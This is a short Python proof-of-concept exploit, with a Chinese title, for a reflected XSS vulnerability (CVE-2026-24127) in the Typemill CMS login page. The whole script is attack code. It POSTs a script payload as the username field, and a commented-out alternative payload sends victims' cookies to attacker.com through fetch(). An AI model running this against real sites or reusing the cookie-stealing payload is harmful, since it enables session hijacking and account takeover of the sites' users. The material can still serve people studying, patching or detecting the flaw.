CVE-2026-24127 Typemill CMS 登录页面反射型XSS漏洞

import requests # CVE-2026-24127 PoC - Typemill CMS Reflected XSS # Target: Typemill CMS login page # Vulnerability: Unsanitized username parameter in login.twig template def exploit_xss(target_url, payload): """ Exploit the reflected XSS vulnerability in Typemill CMS login page. Args: target_url: Base URL of the Typemill CMS installation payload: Malicious JavaScript payload to inject Returns: Response from the server """ # Login endpoint login_url = f"{target_url}/login" # Prepare malicious username with XSS payload data = { 'authcode': 'test', # Invalid authcode to trigger error 'username': payload, # XSS payload injected here 'password': 'test' } # Send request with malicious username response = requests.post(login_url, data=data, allow_redirects=False) return response # Example usage if __name__ == "__main__": target = "http://vulnerable-server.com" # Basic XSS payload to steal cookies xss_payload = "<script>alert(document.cookie)</script>" # More advanced payload for cookie stealing # xss_payload = "<img src=x onerror='fetch(\"https://attacker.com/log?c=\"+document.cookie)'/>" print(f"[*] Targeting: {target}") print(f"[*] Payload: {xss_payload}") response = exploit_xss(target, xss_payload) print(f"[*] Response Status: {response.status_code}") print(f"[*] XSS payload sent. Victim will execute script on page visit.")